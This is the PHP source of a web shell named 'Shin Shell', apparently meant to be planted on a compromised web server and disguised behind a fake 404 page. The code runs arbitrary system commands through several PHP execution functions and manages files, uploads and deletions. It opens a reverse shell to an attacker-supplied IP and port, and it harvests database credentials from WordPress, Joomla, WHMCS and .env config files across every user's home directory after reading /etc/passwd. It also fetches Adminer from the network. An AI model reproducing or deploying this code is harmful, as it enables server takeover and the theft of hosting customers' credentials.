$item, 'type' => is_dir($itemPath) ? 'Folder' : 'File', 'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)), 'permission' => substr(sprintf('%o', fileperms($itemPath)), -4), ]; if (is_dir($itemPath)) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } } return array_merge($folders, $files); } catch (Exception $e) { return 'None'; } } function formatSize($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function executeCommand($command) { $currentDirectory = getCurrentDirectory(); $command = "cd $currentDirectory && $command"; $output = ''; $error = ''; // proc_open $descriptors = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $process = @proc_open($command, $descriptors, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); $returnValue = proc_close($process); $output = trim($output); $error = trim($error); if ($returnValue === 0 && !empty($output)) { return $output; } elseif (!empty($error)) { return 'Error: ' . $error; } } // shell_exec $shellOutput = @shell_exec($command); if ($shellOutput !== null) { $output = trim($shellOutput); if (!empty($output)) { return $output; } } else { $error = error_get_last(); if (!empty($error)) { return 'Error: ' . $error['message']; } } // exec @exec($command, $execOutput, $execStatus); if ($execStatus === 0) { $output = implode(PHP_EOL, $execOutput); if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } // passthru ob_start(); @passthru($command, $passthruStatus); $passthruOutput = ob_get_clean(); if ($passthruStatus === 0) { $output = $passthruOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } // system ob_start(); @system($command, $systemStatus); $systemOutput = ob_get_clean(); if ($systemStatus === 0) { $output = $systemOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } return 'Error: Command execution failed.'; } function readFileContent($file) { return file_get_contents($file); } function saveFileContent($file) { if (isset($_POST['content'])) { return file_put_contents($file, $_POST['content']) !== false; } return false; } function uploadFile($targetDirectory) { if (isset($_FILES['file'])) { $currentDirectory = getCurrentDirectory(); $targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']); if ($_FILES['file']['size'] === 0) { return 'Open Ur Eyes Bitch !!!.'; } else { if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { return 'File uploaded successfully.'; } else { return 'Error uploading file.'; } } return ''; } } function changeDirectory($path) { if ($path === '..') { @chdir('..'); } else { @chdir($path); } } function getCurrentDirectory() { return realpath(getcwd()); } function getLink($path, $name) { if (is_dir($path)) { return '' . $name . ''; } elseif (is_file($path)) { return '' . $name . ''; } } function getDirectoryArray($path) { $directories = explode('/', $path); $directoryArray = []; $currentPath = ''; foreach ($directories as $directory) { if (!empty($directory)) { $currentPath .= '/' . $directory; $directoryArray[] = [ 'path' => $currentPath, 'name' => $directory, ]; } } return $directoryArray; } function showBreadcrumb($path) { $path = str_replace('\\', '/', $path); $paths = explode('/', $path); ?>
Name Type Size Permission Actions
None
alert('File dihapus');window.location='?dir=" . urlencode($currentDirectory) . "';"; exit; } elseif (is_dir($file)) { $responseMessage = deleteFolder($file); echo ""; exit; } else { $errorMessage = 'File or folder does not exist.'; } } } if (isset($_POST['Summon'])) { $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'; $currentPath = @getCurrentDirectory(); $fileUrl = $baseUrl; $fileName = 'adminer.php'; $filePath = $currentPath . '/' . $fileName; $fileContent = @file_get_contents($fileUrl); if ($fileContent !== false) { if (@file_put_contents($filePath, $fileContent) !== false) { $responseMessage = 'File "' . $fileName . '" summoned successfully. ' . $filePath . ''; } else { $errorMessage = 'Failed to save the summoned file.'; } } else { $errorMessage = 'Failed to fetch the file content. None File'; } } if (isset($_POST['bind'])) { $errorMessage = '

Attempting Connection...

'; $ip = $_POST['ip']; $port = (int)$_POST['port']; // Convert port to an integer $sockfd = @fsockopen($ip, $port, $errno, $errstr); if ($errno != 0) { $errorMessage = "$errno : $errstr"; } else if (!$sockfd) { $errorMessage = "

Unexpected error has occurred, connection may have failed.

"; } else { fputs($sockfd, "{################################################################}\n"); fputs($sockfd, "..:: Shin Shell- Coded By Shin Code ::..\n"); fputs($sockfd, "\n=> Backconnect\n=> Back\n\n"); fputs($sockfd, "{################################################################}\n\n"); $dir = @shell_exec("pwd"); $sysinfo = @shell_exec("uname -a"); $time = @shell_exec("time"); $len = 1337; fputs($sockfd, "User connected @ $time\n\n"); while (!feof($sockfd)) { $cmdPrompt = '[ShinCode]#:> '; fputs($sockfd, $cmdPrompt); $command = @fgets($sockfd, $len); fputs($sockfd, "\n" . @shell_exec($command) . "\n\n"); } fclose($sockfd); // Add success message here if needed $responseMessage = "

Connection successful!

"; } echo $errorMessage; } if (isset($_POST['create_file']) && isset($_GET['create']) && $_GET['create'] === 'file') { $fileName = $_POST['file_name']; $currentDirectory = @getCurrentDirectory(); $filePath = $currentDirectory . '/' . $fileName; if (!file_exists($filePath)) { if (@file_put_contents($filePath, '') !== false) { $responseMessage = 'File created successfully: ' . $fileName; } else { $errorMessage = 'Failed to create file.'; } } else { $errorMessage = 'File already exists: ' . $fileName; } } if (isset($_POST['create_folder']) && isset($_GET['create']) && $_GET['create'] === 'folder') { $folderName = $_POST['folder_name']; $currentDirectory = @getCurrentDirectory(); $folderPath = $currentDirectory . '/' . $folderName; if (!file_exists($folderPath)) { if (@mkdir($folderPath)) { $responseMessage = 'Folder created successfully: ' . $folderName; } else { $errorMessage = 'Failed to create folder.'; } } else { $errorMessage = 'Folder already exists: ' . $folderName; } } if(isset($_GET['goo']) && $_GET['goo'] == 'config') { $etc = @fopen("/etc/passwd", "r") or die("
Can't read /etc/passwd
"); $con = @mkdir("shin_configs", 0777); $isi_htc = "Options all\nDirectoryIndex doesntexist.htm\nSatisfy Any"; $htc = fopen("shin_configs/.htaccess", "w"); @fwrite($htc, $isi_htc); while ($passwd = fgets($etc)) { if ($passwd == "" || !$etc) { echo "Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_shinconfigfig); foreach ($user_shinconfigfig[1] as $user_shinconfig) { $user_shinconfigfig_dir = "/home/$user_shinconfig/public_html/"; if (is_readable($user_shinconfigfig_dir)) { $grab_config = [ "/home/$user_shinconfig/public_html/wp-config.php" => "wordpress", "/home/$user_shinconfig/public_html/configuration.php" => "joomla-or-whmcs", "/home/$user_shinconfig/public_html/blog/wp-config.php" => "wordpress", "/home/$user_shinconfig/public_html/blog/configuration.php" => "joomla", "/home/$user_shinconfig/public_html/wp/wp-config.php" => "wordpress", "/home/$user_shinconfig/public_html/wordpress/wp-config.php" => "wordpress", "/home/$user_shinconfig/public_html/config.php" => "4images", "/home/$user_shinconfig/public_html/whmcs/configuration.php" => "whmcs", "/home/$user_shinconfig/public_html/support/configuration.php" => "supportwhmcs", "/home/$user_shinconfig/public_html/secure/configuration.php" => "securewhmcs", "/home/$user_shinconfig/public_html/clients/configuration.php" => "clientswhmcs", "/home/$user_shinconfig/public_html/client/configuration.php" => "clientwhmcs", "/home/$user_shinconfig/public_html/billing/configuration.php" => "billingwhmcs", "/home/$user_shinconfig/public_html/admin/config.php" => "Opencart", "/home/$user_shinconfig/public_html/.env" => "env", "/home/$user_shinconfig/public_html/application/config/database.php" => "elisab", "/home/$user_shinconfig/public_html/includes/config.php" => "forum" ]; foreach ($grab_config as $config => $nama_config) { $ambil_config = @file_get_contents($config); if ($ambil_config == '') { if ($ambil_config !== false) { } else { $file_config = @fopen("shin_configs/$user_shinconfig-$nama_config.txt", "w"); @fputs($file_config, $ambil_config); } } } } } } } $responseMessage = "
Done Touch Me
"; } if (isset($_POST['extract-zip'])) { $extractZipFile = $_FILES['extract-zip-file']['name']; $extractZipPath = $currentDirectory . '/' . $extractZipFile; $zip = new ZipArchive; if ($zip->open($extractZipPath) === TRUE) { $zip->extractTo($currentDirectory); $zip->close(); $responseMessage = 'ZIP file extracted successfully.'; unlink($extractZipPath); // Delete the uploaded ZIP file after extraction } else { $errorMessage = 'Error extracting ZIP file.'; } } if (isset($_POST['zip'])) { $zipFile = $_POST['zip-file']; $zipFileName = $currentDirectory . '/' . basename($zipFile) . '.zip'; $zip = new ZipArchive; if ($zip->open($zipFileName, ZipArchive::CREATE) === TRUE) { if (is_dir($zipFile)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($zipFile)); foreach ($files as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($zipFile) + 1); $zip->addFile($filePath, $relativePath); } } } elseif (is_file($zipFile)) { $zip->addFile($zipFile, basename($zipFile)); } else { $errorMessage = 'Invalid file or directory specified for zipping.'; } $zip->close(); $responseMessage = 'Files zipped successfully. Download ZIP'; } else { $errorMessage = 'Error zipping files.'; } } ?> 404

[ Shin Bypassed ]



"; $message .= "

Hello, Shin Ganteng

"; $message .= "

from domain : " . $_SERVER['SERVER_NAME'] . "

"; $message .= "

This is a test email sent from Shin Mailer.

"; $message .= ""; $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n"; if (mail($_POST['email'], $subject, $message,$headers)) { echo "Send a report to [" . $_POST['email'] . "] - $xx"; } else { echo "

Failed to send the email.

"; } } else { echo "

Please provide an email address.

"; } } else { ?>

Mail Test :


Upload:

Command:

Back Connect

Back connect will allow you to enter system commands remotely.

IP Address:
Port:
";}?> '; echo '
' . htmlspecialchars($content) . '
'; echo ''; } else { echo 'Failed to read the file.'; } } ?>

Command Output:

Create File:

Create Folder:

Rename File or Folder:


Cancel

Edit File:


Change Permission:

Extract ZIP / Zip Files:

Zip Files / Directories:


"; echo "

Filemanager

"; showBreadcrumb($currentDirectory); showFileTable($currentDirectory); echo ""; ?>